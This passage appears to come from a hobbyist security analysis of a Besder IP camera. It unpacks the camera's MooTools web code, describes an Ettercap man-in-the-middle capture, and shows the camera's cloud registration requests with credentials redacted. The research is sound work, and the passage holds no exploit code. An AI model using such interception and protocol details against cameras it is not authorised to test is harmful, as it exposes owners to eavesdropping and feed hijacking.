2b=[2w.bu?\'5Q:\':\'\',15[1]];o(15[2])2b.1f(\'[@3u="\',15[2],\'"]\');o(15[3])2b.1f(\'[1d(6l(" ", @5A, " "), " \',15[3],\' ")]\');o(15[4]){o(15[5]&&15[6]){1W(15[5]){Y\'*=\':2b.1f(\'[1d(@\',15[4],\', "\',15[6],\'")]\');1x;Y\'^=\':2b.1f(\'[by-bI(@\',15[4],\', "\',15[6],\'")]\');1x;Y\'$=\':2b.1f(\'[bJ(@\',15[4],\', 1T-P(@\',15[4],\') - \',15[6].P,\' + 1) = "\',15[6],\'"]\');1x;Y\'=\':2b.1f(\'[@\',15[4],\'="\',15[6],\'"]\');1x;Y\'!=\':2b.1f(\'[@\',15[4],\'!="\',15[6],\'"]\')}}19{2b.1f(\'[@\',15[4],\']\')}}1k.1f(2b.1S(\'\'));k 1k},67:h(1k,2w,25){m T=[];m 3g=17.54(\'.//\'+1k.1S(\'//\'),2w,$$.2W.8y,bT.bS,1j);L(m i=0,j=3g.bU;i<j;i++)T.1f(3g.bV(i));k(25)?T:W 1P(T.2h($))}},\'8H\':{68:h(1k,2w,15,i){o(i==0){o(15[2]){m q=2w.4z(15[2]);o(!q||((15[1]!=\'*\')&&(M.3W(q)!=15[1])))k X;1k=[q]}19{1k=$A(2w.2m(15[1]))}}19{1k=$$.2W.2m(1k,15[1]);o(15[2])1k=1P.8w(1k,15[2],1e)}o(15[3])1k=1P.8v(1k,15[3],1e);o(15[4])1k=1P.8x(1k,15[4],15[5],15[6],1e);k 1k},67:h(1k,2w,25){k(25)?1k:$$.4m(1k)}},8y:h(8A){k(8A==\'5Q\')?\'bQ://bK.bM.bN/aF/5Q\':X},2m:h(2w,4F){m 6k=[];L(m i=0,j=2w.P;i<j;i++)6k.O(2w[i].2m(4F));k 6k}};$$.2W.2H=(V.3g)?\'3g\':\'8H\';M.29.5y={4C:h(1y,25){m 1k=[];1y=1y.5Z().4K(\' \');L(m i=0,j=1y.P;i<j;i++){m 8D=1y[i];m 15=8D.2o($$.2W.64);o(!15)1x;15[1]=15[1]||\'*\';m 2b=$$.2W[$$.2W.2H].68(1k,c,15,i);o(!2b)1x;1k=2b}k $$.2W[$$.2W.2H].67(1k,c,25)},8k:h(1y){k $(c.4C(1y,1e)[0]||X)},4H:h(1y,25){m T=[];1y=1y.4K(\',\');L(m i=0,j=1y.P;i<j;i++)T=T.6l(c.4C(1y[i],1e));k(25)?T:$$.4m(T)}};M.O({4z:h(3u){m q=17.4z(3u);o(!q)k X;L(m 1A=q.2E;1A!=c;1A=1A.2E){o(!1A)k X}k q},ad:h(1v){k c.4C(\'.\'+1v)}});17.O(M.29.5y);M.O(M.29.5y);M.O({3l:h(){1W(c.3W()){Y\'34\':m 1X=[];$1E(c.B,h(2S){o(2S.5D)1X.1f($4D(2S.I,2S.2n))});k(c.6r)?1X:1X[0];Y\'8r\':o(!(c.5C&&[\'as\',\'ar\'].1d(c.C))&&![\'4E\',\'2n\',\'9N\'].1d(c.C))1x;Y\'8q\':k c.I}k X},8o:h(){k $$(c.2m(\'8r\'),c.2m(\'34\'),c.2m(\'8q\'))},9P:h(){m 5S=[];c.8o().1E(h(q){m 1p=q.1p;m I=q.3l();o(I===X||!1p||q.5z)k;m 5P=h(3y){5S.1f(1p+\'=\'+81(3y))};o($C(I)==\'1m\')I.1E(5P);19 5P(I)});k 5S.1S(\'&\')}});M.O({9J:h(x,y){c.4u=x;c.4y=y},9R:h(){k{\'8I\':{\'x\':c.4u,\'y\':c.4y},\'4A\':{\'x\':c.4h,\'y\':c.3Y},\'a3\':{\'x\':c.a4,\'y\':c.9Z}}},4w:h(2a){2a=2a||[];m q=c,1q=0,1o=0;9Y{1q+=q.9U||0;1o+=q.9T||0;q=q.9V}5N(q);2a.1E(h(J){1q-=J.4u||0;1o-=J.4y||0});k{\'x\':1q,\'y\':1o}},7m:h(2a){k c.4w(2a).y},7n:h(2a){k c.4w(2a).x},4L:h(2a){m 1s=c.4w(2a);m K={\'2L\':c.4h,\'3e\':c.3Y,\'1q\':1s.x,\'1o\':1s.y};K.4d=K.1q+K.2L;K.4e=K.1o+K.3e;k K}});M.2j.6s={5K:h(N){o(V.4x){N.26(c);k}m 3Z=h(){o(V.4x)k;V.4x=1e;V.23=$6A(V.23);c.1B(\'6s\')}.U(c);o(17.4I&&V.4a){V.23=h(){o([\'4x\',\'8p\'].1d(17.4I))3Z()}.3o(50)}19 o(17.4I&&V.2D){o(!$(\'6O\')){m 4t=(V.c9.9z==\'9y:\')?\'://0\':\'9B:8W(0)\';17.9Q(\'<3R 3u="6O" ay 4t="\'+4t+\'"><\\/3R>\');$(\'6O\').9H=h(){o(c.4I==\'8p\')3Z()}}}19{V.2A("53",3Z);17.2A("9K",3Z)}}};V.9L=h(N){k c.2t(\'6s\',N)};m 1b={};1b.2z=W 1i({B:{47:1i.1L,2N:1i.1L,8h:1i.1L,1J:h(p){k-(1g.7k(1g.6N*p)-1)/2},3j:am,1U:\'3B\',44:1e,8m:50},1C:h(B){c.J=c.J||1j;c.3Q(B);o(c.B.1C)c.B.1C.26(c)},1O:h(){m 2X=$2X();o(2X<c.2X+c.B.3j){c.8J=c.B.1J((2X-c.2X)/c.B.3j);c.3D();c.3E()}19{c.28(1e);c.1M(c.Q);c.1B(\'2N\',c.J,10);c.8s()}},1M:h(Q){c.14=Q;c.3E();k c},3D:h(){c.14=c.3I(c.R,c.Q)},3I:h(R,Q){k(Q-R)*c.8J+R},1l:h(R,Q){o(!c.B.44)c.28();19 o(c.23)k c;c.R=R;c.Q=Q;c.8n=c.Q-c.R;c.2X=$2X();c.23=c.1O.3o(1g.35(7u/c.B.8m),c);c.1B(\'47\',c.J);k c},28:h(3k){o(!c.23)k c;c.23=$6A(c.23);o(!3k)c.1B(\'8h\',c.J);k c},1V:h(R,Q){k c.1l(R,Q)},a9:h(3k){k c.28(3k)}});1b.2z.3S(W 8g,W 2j,W 4B);1b.2M={34:h(F,Q){o(F.2B(/4G/i))k c.6H;m C=$C(Q);o((C==\'1m\')||(C==\'1T\'&&Q.1d(\' \')))k c.4J;k c.8i},2k:h(q,F,3L){o(!3L.1f)3L=[3L];m R=3L[0],Q=3L[1];o(!$2d(Q)){Q=R;R=q.1K(F)}m 1n=c.34(F,Q);k{\'R\':1n.2k(R),\'Q\':1n.2k(Q),\'1n\':1n}}};1b.2M.8i={2k:h(I){k 4k(I)},3X:h(R,Q,3P){k 3P.3I(R,Q)},3l:h(I,1U,F){o(1U==\'3B\'&&F!=\'21\')I=1g.35(I);k I+1U}};1b.2M.4J={2k:h(I){k I.1f?I:I.4K(\' \').2h(h(v){k 4k(v)})},3X:h(R,Q,3P){m 14=[];L(m i=0;i<R.P;i++)14[i]=3P.3I(R[i],Q[i]);k 14},3l:h(I,1U,F){o(1U==\'3B\'&&F!=\'21\')I=I.2h(1g.35);k I.1S(1U+\' \')+1U}};1b.2M.6H={2k:h(I){k I.1f?I:I.4s(1e)},3X:h(R,Q,3P){m 14=[];L(m i=0;i<R.P;i++)14[i]=1g.35(3P.3I(R[i],Q[i]));k 14},3l:h(I){k\'2f(\'+I.1S(\',\')+\')\'}};1b.6F=1b.2z.O({1C:h(q,F,B){c.J=$(q);c.F=F;c.1A(B)},8B:h(){k c.1M(0)},3D:h(){c.14=c.1n.3X(c.R,c.Q,c)},1M:h(Q){c.1n=1b.2M.34(c.F,Q);k c.1A(c.1n.2k(Q))},1l:h(R,Q){o(c.23&&c.B.44)k c;m 1I=1b.2M.2k(c.J,c.F,[R,Q]);c.1n=1I.1n;k c.1A(1I.R,1I.Q)},3E:h(){c.J.2g(c.F,c.1n.3l(c.14,c.B.1U,c.F))}});M.O({9E:h(F,B){k W 1b.6F(c,F,B)}});1b.31=1b.2z.O({1C:h(q,B){c.J=$(q);c.1A(B)},3D:h(){L(m p 1a c.R)c.14[p]=c.1n[p].3X(c.R[p],c.Q[p],c)},1M:h(Q){m 1I={};c.1n={};L(m p 1a Q){c.1n[p]=1b.2M.34(p,Q[p]);1I[p]=c.1n[p].2k(Q[p])}k c.1A(1I)},1l:h(K){o(c.23&&c.B.44)k c;c.14={};c.1n={};m R={},Q={};L(m p 1a K){m 1I=1b.2M.2k(c.J,p,K[p]);R[p]=1I.R;Q[p]=1I.Q;c.1n[p]=1I.1n}k c.1A(R,Q)},3E:h(){L(m p 1a c.14)c.J.2g(p,c.1n[p].3l(c.14[p],c.B.1U,p))}});M.O({95:h(B){k W 1b.31(c,B)}});1b.1P=1b.2z.O({1C:h(T,B){c.T=$$(T);c.1A(B)},3D:h(){L(m i 1a c.R){m 4b=c.R[i],36=c.Q[i],2P=c.1n[i],4j=c.14[i]={};L(m p 1a 4b)4j[p]=2P[p].3X(4b[p],36[p],c)}},1M:h(Q){m 1I={};c.1n={};L(m i 1a Q){m 36=Q[i],2P=c.1n[i]={},8l=1I[i]={};L(m p 1a 36){2P[p]=1b.2M.34(p,36[p]);8l[p]=2P[p].2k(36[p])}}k c.1A(1I)},1l:h(K){o(c.23&&c.B.44)k c;c.14={};c.1n={};m R={},Q={};L(m i 1a K){m 6B=K[i],4b=R[i]={},36=Q[i]={},2P=c.1n[i]={};L(m p 1a 6B){m 1I=1b.2M.2k(c.T[i],p,6B[p]);4b[p]=1I.R;36[p]=1I.Q;2P[p]=1I.1n}}k c.1A(R,Q)},3E:h(){L(m i 1a c.14){m 4j=c.14[i],2P=c.1n[i];L(m p 1a 4j)c.T[i].2g(p,2P[p].3l(4j[p],c.B.1U,p))}}});1b.8P=1b.2z.O({B:{1H:\'6J\'},1C:h(q,B){c.J=$(q);c.3v=W M(\'8L\',{\'8t\':$O(c.J.8u(\'2p\'),{\'8S\':\'4E\'})}).8E(c.J).8G(c.J);c.J.2g(\'2p\',0);c.3Q(B);c.14=[];c.1A(c.B);c.41=1e;c.2t(\'2N\',h(){c.41=(c.14[0]===0)});o(V.8C)c.2t(\'2N\',h(){o(c.41)c.J.2x().3n(c.3v)})},3D:h(){L(m i=0;i<2;i++)c.14[i]=c.3I(c.R[i],c.Q[i])},6J:h(){c.2p=\'2p-1o\';c.4f=\'3e\';c.1F=c.J.3Y},6z:h(){c.2p=\'2p-1q\';c.4f=\'2L\';c.1F=c.J.4h},8z:h(1H){c[1H||c.B.1H]();k c.1l([c.J.1K(c.2p).2u(),c.3v.1K(c.4f).2u()],[0,c.1F])},8F:h(1H){c[1H||c.B.1H]();k c.1l([c.J.1K(c.2p).2u(),c.3v.1K(c.4f).2u()],[-c.1F,0])},8B:h(1H){c[1H||c.B.1H]();c.41=X;k c.1M([-c.1F,0])},9j:h(1H){c[1H||c.B.1H]();c.41=1e;k c.1M([0,c.1F])},9n:h(1H){o(c.3v.3Y==0||c.3v.4h==0)k c.8z(1H);k c.8F(1H)},3E:h(){c.J.2g(c.2p,c.14[0]+c.B.1U);c.3v.2g(c.4f,c.14[1]+c.B.1U)}});1b.6I=h(1J,2l){2l=2l||[];o($C(2l)!=\'1m\')2l=[2l];k $O(1J,{c6:h(1N){k 1J(1N,2l)},bE:h(1N){k 1-1J(1-1N,2l)},aS:h(1N){k(1N<=0.5)?1J(2*1N,2l)/2:(2-1J(2*(1-1N),2l))/2}})};1b.2I=W 30({aJ:h(p){k p}});1b.2I.O=h(6t){L(m 1J 1a 6t){1b.2I[1J]=W 1b.6I(6t[1J]);1b.2I.6u(1J)}};1b.2I.6u=h(1J){[\'aI\',\'b1\',\'ce\'].1E(h(6K){1b.2I[1J.4i()+6K]=1b.2I[1J][\'9f\'+6K]})};1b.2I.O({bv:h(p,x){k 1g.2V(p,x[0]||6)},bB:h(p){k 1g.2V(2,8*(p-1))},ca:h(p){k 1-1g.7t(1g.cd(p))},aQ:h(p){k 1-1g.7t((1-p)*1g.6N/2)},aZ:h(p,x){x=x[0]||1.aX;k 1g.2V(p,2)*((x+1)*p-x)},aW:h(p){m I;L(m a=0,b=1;1;a+=b,b/=2){o(p>=(7-4*a)/11){I=-1g.2V((11-6*a-11*p)/4,2)+b*b;1x}}k I},aK:h(p,x){k 1g.2V(2,10*--p)*1g.7k(20*p*1g.6N*(x[0]||1)/3)}});[\'b2\',\'b5\',\'be\',\'bi\'].1E(h(1J,i){1b.2I[1J]=W 1b.6I(h(p){k 1g.2V(p,[i+2])});1b.2I.6u(1J)});m 3a={};3a.2z=W 1i({B:{4r:X,1U:\'3B\',47:1i.1L,7r:1i.1L,2N:1i.1L,7p:1i.1L,6x:1i.1L,1r:X,2O:{x:\'1q\',y:\'1o\'},3r:X,6y:6},1C:h(q,B){c.3Q(B);c.J=$(q);c.4r=$(c.B.4r)||c.J;c.2C={\'14\':{},\'1N\':{}};c.I={\'1l\':{},\'14\':{}};c.2K={\'1l\':c.1l.45(c),\'3H\':c.3H.45(c),\'2T\':c.2T.45(c),\'28\':c.28.U(c)};c.7q();o(c.B.1C)c.B.1C.26(c)},7q:h(){c.4r.2t(\'5e\',c.2K.1l);k c},ci:h(){c.4r.5k(\'5e\',c.2K.1l);k c},1l:h(G){c.1B(\'7r\',c.J);c.2C.1l=G.3x;m 1r=c.B.1r;c.1r={\'x\':[],\'y\':[]};L(m z 1a c.B.2O){o(!c.B.2O[z])4W;c.I.14[z]=c.J.1K(c.B.2O[z]).2u();c.2C.1N[z]=G.3x[z]-c.I.14[z];o(1r&&1r[z]){L(m i=0;i<2;i++){o($2d(1r[z][i]))c.1r[z][i]=($C(1r[z][i])==\'h\')?1r[z][i]():1r[z][i]}}}o($C(c.B.3r)==\'4n\')c.B.3r={\'x\':c.B.3r,\'y\':c.B.3r};17.2A(\'3G\',c.2K.3H);17.2A(\'6G\',c.2K.28);c.1B(\'47\',c.J);G.28()},3H:h(G){m 7s=1g.35(1g.cj(1g.2V(G.3x.x-c.2C.1l.x,2)+1g.2V(G.3x.y-c.2C.1l.y,2)));o(7s>c.B.6y){17.3K(\'3G\',c.2K.3H);17.2A(\'3G\',c.2K.2T);c.2T(G);c.1B(\'7p\',c.J)}G.28()},2T:h(G){c.48=X;c.2C.14=G.3x;L(m z 1a c.B.2O){o(!c.B.2O[z])4W;c.I.14[z]=c.2C.14[z]-c.2C.1N[z];o(c.1r[z]){o($2d(c.1r[z][1])&&(c.I.14[z]>c.1r[z][1])){c.I.14[z]=c.1r[z][1];c.48=1e}19 o($2d(c.1r[z][0])&&(c.I.14[z]<c.1r[z][0])){c.I.14[z]=c.1r[z][0];c.48=1e}}o(c.B.3r[z])c.I.14[z]-=(c.I.14[z]%c.B.3r[z]);c.J.2g(c.B.2O[z],c.I.14[z]+c.B.1U)}c.1B(\'6x\',c.J);G.28()},28:h(){17.3K(\'3G\',c.2K.3H);17.3K(\'3G\',c.2K.2T);17.3K(\'6G\',c.2K.28);c.1B(\'2N\',c.J)}});3a.2z.3S(W 2j,W 4B);M.O({bA:h(B){k W 3a.2z(c,$2c({2O:{x:\'2L\',y:\'3e\'}},B))}});3a.7Z=3a.2z.O({B:{4Y:[],2v:X,2a:[]},1C:h(q,B){c.3Q(B);c.J=$(q);c.4Y=$$(c.B.4Y);c.2v=$(c.B.2v);c.1s={\'J\':c.J.1K(\'1s\'),\'2v\':X};o(c.2v)c.1s.2v=c.2v.1K(\'1s\');o(![\'5i\',\'3C\',\'6C\'].1d(c.1s.J))c.1s.J=\'3C\';m 1o=c.J.1K(\'1o\').2u();m 1q=c.J.1K(\'1q\').2u();o(c.1s.J==\'3C\'&&![\'5i\',\'3C\',\'6C\'].1d(c.1s.2v)){1o=$2d(1o)?1o:c.J.7m(c.B.2a);1q=$2d(1q)?1q:c.J.7n(c.B.2a)}19{1o=$2d(1o)?1o:0;1q=$2d(1q)?1q:0}c.J.6E({\'1o\':1o,\'1q\':1q,\'1s\':c.1s.J});c.1A(c.J)},1l:h(G){c.2s=1j;o(c.2v){m 3w=c.2v.4L();m q=c.J.4L();o(c.1s.J==\'3C\'&&![\'5i\',\'3C\',\'6C\'].1d(c.1s.2v)){c.B.1r={\'x\':[3w.1q,3w.4d-q.2L],\'y\':[3w.1o,3w.4e-q.3e]}}19{c.B.1r={\'y\':[0,3w.3e-q.3e],\'x\':[0,3w.2L-q.2L]}}}c.1A(G)},2T:h(G){c.1A(G);m 2s=c.48?X:c.4Y.2q(c.71,c).6D();o(c.2s!=2s){o(c.2s)c.2s.1B(\'bR\',[c.J,c]);c.2s=2s?2s.1B(\'bL\',[c.J,c]):1j}k c},71:h(q){q=q.4L(c.B.2a);m 14=c.2C.14;k(14.x>q.1q&&14.x<q.4d&&14.y<q.4e&&14.y>q.1o)},28:h(){o(c.2s&&!c.48)c.2s.1B(\'bO\',[c.J,c]);19 c.J.1B(\'au\',c);c.1A();k c}});M.O({9k:h(B){k W 3a.7Z(c,B)}});m 2Z=W 30({B:{5l:X,51:X,3j:X,4l:X},1M:h(1h,I,B){B=$2c(c.B,B);I=81(I);o(B.5l)I+=\'; 5l=\'+B.5l;o(B.51)I+=\'; 51=\'+B.51;o(B.3j){m 4N=W 82();4N.9t(4N.7X()+B.3j*24*60*60*7u);I+=\'; 8U=\'+4N.8M()}o(B.4l)I+=\'; 4l\';17.3t=1h+\'=\'+I;k $O(B,{\'1h\':1h,\'I\':I})},5j:h(1h){m I=17.3t.2o(\'(?:^|;)\\\\s*\'+1h.83()+\'=([^;]*)\');k I?8Y(I[1]):X},2x:h(3t,B){o($C(3t)==\'2e\')c.1M(3t.1h,\'\',$2c(3t,{3j:-1}));19 c.1M(3t,\'\',$2c(B,{3j:-1}))}});m 3N={3O:h(K){1W($C(K)){Y\'1T\':k\'"\'+K.2Q(/(["\\\\])/g,\'\\\\$1\')+\'"\';Y\'1m\':k\'[\'+K.2h(3N.3O).1S(\',\')+\']\';Y\'2e\':m 1T=[];L(m F 1a K)1T.1f(3N.3O(F)+\':\'+3N.3O(K[F]));k\'{\'+1T.1S(\',\')+\'}\';Y\'4n\':o(90(K))1x;Y X:k\'1j\'}k 4Q(K)},54:h(3q,4l){k(($C(3q)!=\'1T\')||(4l&&!3q.2B(/^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+91-u \\n\\r\\t])+?$/)))?1j:a7(\'(\'+3q+\')\')}};m 2R=W 1i({P:0,1C:h(2e){c.K=2e||{};c.4p()},5j:h(1h){k(c.4S(1h))?c.K[1h]:1j},4S:h(1h){k(1h 1a c.K)},1M:h(1h,I){o(!c.4S(1h))c.P++;c.K[1h]=I;k c},4p:h(){c.P=0;L(m p 1a c.K)c.P++;k c},2x:h(1h){o(c.4S(1h)){4R c.K[1h];c.P--}k c},1E:h(N,U){$1E(c.K,N,U)},O:h(K){$O(c.K,K);k c.4p()},2c:h(){c.K=$2c.3f(1j,[c.K].O(18));k c.4p()},1L:h(){c.K={};c.P=0;k c},1z:h(){m 1z=[];L(m F 1a c.K)1z.1f(F);k 1z},1X:h(){m 1X=[];L(m F 1a c.K)1X.1f(c.K[F]);k 1X}});h $H(K){k W 2R(K)};2R.2Z=2R.O({1C:h(1p,B){c.1p=1p;c.B=$O({\'7R\':1e},B||{});c.53()},7B:h(){o(c.P==0){2Z.2x(c.1p,c.B);k 1e}m 3q=3N.3O(c.K);o(3q.P>aa)k X;2Z.1M(c.1p,3q,c.B);k 1e},53:h(){c.K=3N.54(2Z.5j(c.1p),1e)||{};c.4p()}});2R.2Z.29={};[\'O\',\'1M\',\'2c\',\'1L\',\'2x\'].1E(h(2H){2R.2Z.29[2H]=h(){2R.1w[2H].3f(c,18);o(c.B.7R)c.7B();k c}});2R.2Z.3S(2R.2Z.29);m 6P=W 1i({B:{7N:1i.1L,2N:1i.1L,6Q:h(1N){c.3d.2g(c.p,1N)},1H:\'6z\',5b:7C,1F:0},1C:h(q,3d,B){c.J=$(q);c.3d=$(3d);c.3Q(B);c.6R=-1;c.6M=-1;c.1O=-1;c.J.2t(\'5e\',c.7y.45(c));m 5c,1F;1W(c.B.1H){Y\'6z\':c.z=\'x\';c.p=\'1q\';5c={\'x\':\'1q\',\'y\':X};1F=\'4h\';1x;Y\'6J\':c.z=\'y\';c.p=\'1o\';5c={\'x\':X,\'y\':\'1o\'};1F=\'3Y\'}c.2r=c.J[1F]-c.3d[1F]+(c.B.1F*2);c.7G=c.3d[1F]/2;c.7F=c.J[\'5j\'+c.p.6v()].U(c.J);c.3d.2g(\'1s\',\'5i\').2g(c.p,-c.B.1F);m 6w={};6w[c.z]=[-c.B.1F,c.2r-c.B.1F];c.2T=W 3a.2z(c.3d,{1r:6w,2O:5c,6y:0,47:h(){c.55()}.U(c),6x:h(){c.55()}.U(c),2N:h(){c.55();c.3k()}.U(c)});o(c.B.1C)c.B.1C.26(c)},1M:h(1O){c.1O=1O.1r(0,c.B.5b);c.58();c.3k();c.1B(\'6Q\',c.7K(c.1O));k c},7y:h(G){m 1s=G.3x[c.z]-c.7F()-c.7G;1s=1s.1r(-c.B.1F,c.2r-c.B.1F);c.1O=c.6L(1s);c.58();c.3k();c.1B(\'6Q\',1s)},55:h(){c.1O=c.6L(c.2T.I.14[c.z]);c.58()},58:h(){o(c.6R!=c.1O){c.6R=c.1O;c.1B(\'7N\',c.1O)}},3k:h(){o(c.6M!==c.1O){c.6M=c.1O;c.1B(\'2N\',c.1O+\'\')}},6L:h(1s){k 1g.35((1s+c.B.1F)/c.2r*c.B.5b)},7K:h(1O){k c.2r*1O/c.B.5b}});6P.3S(W 2j);6P.3S(W 4B);', 62, 764, '||||||||||||this|||||function|||return||var||if||el|||||||||||options|type|||property|event||value|element|obj|for|Element|fn|extend|length|to|from||elements|bind|window|new|false|case||||events||now|param||document|arguments|else|in|Fx|args|contains|true|push|Math|key|Class|null|items|start|array|css|top|name|left|limit|position|result|style|className|prototype|break|selector|keys|parent|fireEvent|initialize|props|each|offset|prop|mode|parsed|transition|getStyle|empty|set|pos|step|Elements|relatedTarget|current|join|string|unit|custom|switch|values|Garbage|Array||opacity|delay|timer||nocash|call||stop|Methods|overflown|temp|merge|chk|object|rgb|setStyle|map|Event|Events|parse|params|getElementsByTagName|text|match|margin|filter|max|overed|addEvent|toInt|container|context|remove|create|Base|addListener|test|mouse|ie|parentNode|properties|item|method|Transitions|tag|bound|width|CSS|onComplete|modifiers|iCss|replace|Hash|option|drag|returns|pow|shared|time|index|Cookie|Abstract|Styles||previous|select|round|iTo||||Drag|source|border|knob|height|apply|xpath|tmp|iterable|duration|end|getValue|min|inject|periodical|hex|str|grid|chains|cookie|id|wrapper|cont|page|val|htmlElement|target|px|absolute|setNow|increase|indexOf|mousemove|check|compute|collect|removeListener|fromTo|native|Json|toString|fx|setOptions|script|implement|results|len|bit|getTag|getNow|offsetHeight|domReady||open|precision|next|wait|bindWithEvent||onStart|out|mix|webkit|iFrom|klass|right|bottom|layout|HTMLElement|offsetWidth|toLowerCase|iNow|parseFloat|secure|unique|number|parseInt|setLength|walk|handle|hexToRgb|src|scrollLeft|getProperty|getPosition|loaded|scrollTop|getElementById|size|Options|getElements|pick|hidden|tagName|color|getElementsBySelector|readyState|Multi|split|getCoordinates|every|date|currentStyle|visibility|String|delete|hasKey|rgbToHex|brother|Properties|continue|Listeners|droppables|defined||path|setProperty|load|evaluate|draggedKnob|typeof|forEach|checkStep|proto|mp|steps|mod|regex|mousedown|generic|included|attempt|relative|get|removeEvent|domain|removeEvents|setMany|code|evType|stopPropagation|preventDefault|mousewheel|s'])) ``` After I have done some research, I have found that this is a javascript ***packer*** function, which is used for, well, packing the code and reduce the ammount of space it consumes, probably. Anyway, I have found [Strictly Software's Javascript unpacker tool](https://www.strictly-software.com/unpacker/), which I have used to previously mentioned code and it unpacked to a javascript code, which was well over a couple of thousand lines. Turns out, it is a ***Javascript framework*** called `MooTools` and it is used within the control panel of the Besder 6024PB-XMA501 IP camera. In this particular camera, a standart collection of [MooTools v1.11](https://searchcode.com/total-file/3397713/%20festos/admin/includes/tiny_mce/plugins/kfm/j/mootools.v1.11/mootools.v1.11.js/) utilities is used. It is mostly different functions of Javascript, but one is particualrly interesting for me and it is a function called `Hash`, which is presented below: ``` var Hash = new Class({ length: 0, initialize: function (object) { this.obj = object || {}; this.setLength() }, get: function (key) { return (this.hasKey(key)) ? this.obj[key] : null }, hasKey: function (key) { return (key in this.obj) }, set: function (key, value) { if (!this.hasKey(key)) this.length++; this.obj[key] = value; return this }, setLength: function () { this.length = 0; for (var p in this.obj) this.length++; return this }, remove: function (key) { if (this.hasKey(key)) { delete this.obj[key]; this.length-- } return this }, each: function (fn, bind) { $each(this.obj, fn, bind) }, extend: function (obj) { $extend(this.obj, obj); return this.setLength() }, merge: function () { this.obj = $merge.apply(null, [this.obj].extend(arguments)); return this.setLength() }, empty: function () { this.obj = {}; this.length = 0; return this }, keys: function () { var keys = []; for (var property in this.obj) keys.push(property); return keys }, values: function () { var values = []; for (var property in this.obj) values.push(this.obj[property]); return values } }); function $H(obj) { return new Hash(obj) }; Hash.Cookie = Hash.extend({ initialize: function (name, options) { this.name = name; this.options = $extend({ 'autoSave': true }, options || {}); this.load() }, save: function () { if (this.length == 0) { Cookie.remove(this.name, this.options); return true } var str = Json.toString(this.obj); if (str.length > 4096) return false; Cookie.set(this.name, str, this.options); return true }, load: function () { this.obj = Json.evaluate(Cookie.get(this.name), true) || {}; this.setLength() } }); Hash.Cookie.Methods = {}; ['extend', 'set', 'merge', 'empty', 'remove'].each(function (method) { Hash.Cookie.Methods[method] = function () { Hash.prototype[method].apply(this, arguments); if (this.options.autoSave) this.save(); return this } }); Hash.Cookie.implement(Hash.Cookie.Methods); ``` There are a few ***hash-related*** sub-functions, although I have not yet figured how exactly do they work or how they are used when I actually connect to the IP camera and start communicating with it from my virtual machine. One of my guesses from inspecting the code are that this `Hash` function might be used to craft login session cookies. This might be useful later on, if I try to figure out the exact way of how the data sent between devices is encrypted or obfuscated. # Network communication analysis For analyzing network traffic associated with the camera I have carried out a ***Man in the Middle*** cyberattack using `Ettercap` tool and intercepted all the traffic between a Besder 6024PB-XMA501 IP camera, a smartphone, Windows 10 virtual computer within Virtualbox and the TPLINK TL-WR841N router (for which I have conducted a separate cybersecurity research [here](https://github.com/KostasEreksonas/tp-link-tl-wr841n-security-analysis)). All devices were connected to the internet via ***Wireless Local Area Network (WLAN)***. The scheme of devices used during analysis is shown below. ![Network analysis scheme](/img/MITM_analysis_scheme.png) You can find a [drawio scheme file for this here](/schematics/MITM_analysis_scheme.drawio) ## Communication with a control panel in a web browser After logging in the `NETSurveillance WEB` control panel, the further information can be seen in ***plain text***: All the further communication between the laptop and Besder IP camera is encrypted with SSL protocol and formatted in Base64 format (one can read more about this in [data security](#Data-security) section). # Communication With Cloud Services As I have mentioned before, during the security analysis all network devices were connected to a Wireless Local Area Network. Still, I managed to capture a fair bit of communication with various servers providing cloud services. Throughout the whole security testing that I have done, the camera sent a bunch of UDP datagrams to various remote IP addresses. Those datagrams contained camera's serial number for some reason and I was not able to determine their purpose yet. As a cloud services provider for the camera ***XMEye Cloud*** is used. Firstly I have connected to the camera from web interface within virtual machine with `Windows 10` guest OS installed, then from a smartphone with ***ICSee*** app. ## Connecting from web interface ### Connection scheme between virtual machine and IP Camera In this subsection I will present the schema for connecting to the Besder IP Camera from the `NETSurveillance WEB` network interface. For this purpose I have used `Virtualbox` virtualization software, where I have installed ***Windows 10*** as a Guest OS. The schematics of the connection between the Windows 10 virtual machine and Besder IP Camera is presented below: ![Connection_between_VM_and_IP_Camera_in_LAN](/img/Connection_between_VM_and_IP_Camera_in_LAN.png) You can find a [drawio scheme file for this here](/schematics/Connection_between_VM_and_IP_Camera_in_LAN.drawio) ### Exchanged queries between virtual machine and IP Camera Firstly the camera does a DNS resolution with an `Amazon AWS` server located in Germany, although the packages sent have data about some Chinese DNS servers with their IP addresses. I may assume that the DNS address is chosen based on camera's location. I might as well test it with a VPN someday. After that camera sends a `HTTP POST` request to an `Amazon AWS` server with some data. Besides info about camera's geographical location and communication port, this request contains authentication code and a serial number of the Besder camera. Both of these are identical 16 charachter long hexadecimal strings. These can be used for a variety of nefarious purposes, for example DDoS'ing the specific device, connected to the cloud server or illegaly connecting to camera's video feed and viewing it and / or tampering with it. ***This and all of the following HTTP requests were formatted by me for better readability.*** ``` POST / HTTP/1.1 Host: 3.126.12.232 Content-Length: 287 { "AgentProtocol" : { "Body" : { "Area" : "Europe:Lithuania:Default", "AuthCode" : "REDACTED", "DevicePort" : "34567", "RewriteOemID" : "General", "SerialNumber" : "REDACTED" }, "Header" : { "CSeq" : "1", "MessageType" : "MSG_AGENT_REGISTER_REQ", "Version" : "1.0" } } } HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 175 { "AgentProtocol" : { "Body" : { "KeepAliveIntervel":"120" }, "Header": { "CSeq":"1", "ErrorNum":"200", "ErrorString":"Success Ok", "MessageType":"MSG_AGENT_REGISTER_RSP", "Version":"1.0" } } } ``` Later camera sends this `HTTP POST` request to a `access-dss.secu100.net` server. It contains info about camera's geolocation, it's authentication code and serial number, among other things. ``` POST / HTTP/1.1 Host:access-dss.secu100.net Connection: keep-alive Content-Length:380 { "DssProtocol" : { "Body" : { "Area" : "Europe:Lithuania:Default", "AuthCode" : "REDACTED", "Enable" : "1", "LiveStatus" : [ "0", "0" ], "RewriteOemID" : "General", "SerialNumber" : "REDACTED", "StreamLevel" : "0_4:1_1_0", "StreamServerIPs" : [ "0.0.0.0", "0.0.0.0" ] }, "Header" : { "CSeq" : "15", "MessageType" : "MSG_DEV_REGISTER_REQ", "Version" : "1.0" } } } HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 173 { "DssProtocol": { "Body": { "KeepAliveIntervel":"120" }, "Header": { "CSeq":"1.0", "ErrorNum":"200", "ErrorString":"Success Ok", "MessageType":"MSG_DEV_REGISTER_RSP", "Version":"1.0" } } } ``` Later a `HTTP POST` 